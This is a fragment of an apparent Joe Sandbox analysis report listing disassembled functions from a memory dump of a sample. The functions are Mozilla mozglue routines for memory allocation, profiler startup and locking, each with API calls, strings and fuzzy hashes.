Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46B15
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CD46B65
Part of subcall function 6CD46A10: LeaveCriticalSection.KERNEL32(6CD6F618,?,?), ref: 6CD46B83

MozFormatCodeAddress.MOZGLUE ref: 6CD46EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CD46EFF

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction ID: ceda1c0dc252da81d36141938c40a577b7e4458489dcd13f23335805f271e7b5
Opcode Fuzzy Hash: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction Fuzzy Hash: 1A21A471A042199FDB00CF69D8856EE7BF9EF84308F048039E94997351DB719A59CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CD476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CD47705

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CD47717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CD4778F,00000000,00000000,00000000,00000000), ref: 6CD47731
free.MOZGLUE(00000000), ref: 6CD47760

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction ID: eec42ace54988fe46bd0d5dbb9fc7abfa3ee1c9f843c3b4c322c7e9c8fdd9624
Opcode Fuzzy Hash: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction Fuzzy Hash: 5811C8B1A01215ABE710AF768C44B6B7EE8EF45354F054529F988E7310F7719844CBF2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CCE3DEF), ref: 6CD20D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CCE3DEF), ref: 6CD20D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CCE3DEF), ref: 6CD20DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD20D97, 6CD20DBE
<jemalloc>, xrefs: 6CD20D92, 6CD20DB9

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction ID: a64967e98263a382057a9d27233597f26c2d3cabff41a52650da7658ad953627
Opcode Fuzzy Hash: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction Fuzzy Hash: 0AF0BB3139125473E71413770C29B66265D67C2B98F244026F344DAEE0DA58F401C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D751

Strings

MOZ_CRASH(), xrefs: 6CD0D4BB

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction ID: 602cb2db536553e34691b853db660de3c2ca18b77fd11309b46cf8de5b989026
Opcode Fuzzy Hash: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction Fuzzy Hash: E051C271B04B058FE314CF29C59472AB7E5EB89314F54492ED69AC7FA5D770E800CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD34721

Part of subcall function 6CCE4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CD23EBD,00000017,?,00000000,?,6CD23EBD,?,?,6CCE42D2), ref: 6CCE4444

Strings

., xrefs: 6CD3476A
profiler-paused, xrefs: 6CD346E4
-%llu, xrefs: 6CD34733

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction ID: 0c3d044e8bf3b85cd38fb4949af232973f9a55359eed44bdd975c86722ca8af7
Opcode Fuzzy Hash: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction Fuzzy Hash: 65313BB1F042189BCB08DF6DD8856ADBFE6DB89314F14413DE8099BB51E7759C04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23EBD,6CD23EBD,00000000), ref: 6CCE42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CD3B127), ref: 6CD3B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD3B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CD3B4E4

Strings

pid:, xrefs: 6CD3B4DE

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction ID: 60eb0fb33cf7a66c10c32a1d158be624d99192151786cc13b9fb9b0fed024d44
Opcode Fuzzy Hash: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction Fuzzy Hash: C2312531A01628EBDB00DFA9D880AAEB7B5FF46308F14152DD84567A90D731E845CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD2E577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E584
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD2E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CD2E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CD2E722, 6CD2E750, 6CD2E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CD2E655
MOZ_PROFILER_STARTUP, xrefs: 6CD2E5A1, 6CD2E5CC, 6CD2E5FF, 6CD2E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CD2E826, 6CD2E850

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction ID: ee099f62c653a17ca30f51b1ae48bb0ff149601d0201599f6971af9105deeafe
Opcode Fuzzy Hash: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction Fuzzy Hash: 8D115E31604654DFEB009F26C848B69FBB8FB89329F41051DEA8557FA0D774A809CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD30C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30CD5

Part of subcall function 6CD1F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD1F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30D40
free.MOZGLUE ref: 6CD30DCB

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

free.MOZGLUE ref: 6CD30DDD
free.MOZGLUE ref: 6CD30DF2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction ID: 7ff8724bc413ec6b03410df125d4dfc46e7ffcff88d78455831cad1d1fda9645
Opcode Fuzzy Hash: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction Fuzzy Hash: 0C413A71908794CBD720CF29C04079AFBE5BFC9754F519A2EE8D887B60D770A444CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDA4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D158
Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000098,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDC4

Part of subcall function 6CD37480: ReleaseSRWLockExclusive.KERNEL32(?,6CD415FC,?,?,?,?,6CD415FC,?), ref: 6CD374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CECC

Part of subcall function 6CCFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCFCAA2

Part of subcall function 6CD2CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CD3CEEA,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000), ref: 6CD2CB57
Part of subcall function 6CD2CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CD2CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CD3CEEA,?,?), ref: 6CD2CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D058

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction ID: 7ca0aeffd1a9b0469d4babc3ddcc76ed74fa2c51caeb3582ec90353eed0bc8f7
Opcode Fuzzy Hash: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction Fuzzy Hash: 05D17F71A04B169FD708CF28C480799F7E1BF89308F01976DD9598B721EB31E9A5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CD05D40
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CD05D67
__aulldiv.LIBCMT ref: 6CD05DB4
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CD05DED

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction ID: 67c9c81382250c7a3f82077fa5aa82369f3b3a88ea44db6ddee22fe428e2ae25
Opcode Fuzzy Hash: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction Fuzzy Hash: A6516B71E001198FDF08CFADC844BBEBBB6FB89304F19461AD951A7760D7306945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CCECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CCECF4E

Strings

0, xrefs: 6CCECF30

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction ID: 6155bb52b031bfd708201afd7cd5e95599dc6c8a2f4418a910f545ec1513e598
Opcode Fuzzy Hash: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction Fuzzy Hash: CC5104759002568FCB04CF19C490AAABBB5FF9A300F19859DD8595F751E731ED06CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CD282BC,?,?), ref: 6CD2649B

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD264A9

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD2653F
free.MOZGLUE(?), ref: 6CD2655A

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction ID: d50373835378bba29e7f511f026ddf3d682efc7816e859239e615a47b20d309f
Opcode Fuzzy Hash: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction Fuzzy Hash: 203172B5A043159FD700CF14D88469EB7E4FF89318F40442DE99A97751EB34E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCFB4F5
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB502
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB542
free.MOZGLUE(?), ref: 6CCFB578

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction ID: a40880e7f2a1b663d15027883532faaf9af797b65a428f9542d5c60838c87254
Opcode Fuzzy Hash: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction Fuzzy Hash: BF11AC30A04B45C7E3128F2AC814761B3B9FF96318F14970AE95952E12FBB4B1CAC6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CCEF20E,?), ref: 6CD23DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CCEF20E,00000000,?), ref: 6CD23DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD23E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CD23E0E

Part of subcall function 6CD1CC00: GetCurrentProcess.KERNEL32(?,?,6CCE31A7), ref: 6CD1CC0D
Part of subcall function 6CD1CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CCE31A7), ref: 6CD1CC16

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction ID: 932232deac3eb9012a4c875950e8e8dd8a3cd6ddf7b4b79c369715aad410139d
Opcode Fuzzy Hash: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction Fuzzy Hash: E9F012B16002087BEB00AB55DC41DBB376DEB86628F044020FE0857751D735BD2996F7

Uniqueness

Uniqueness Score: -1.00%

Function 6CD385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CD385D3

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CD38725

Strings

map/set<T> too long, xrefs: 6CD38720

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
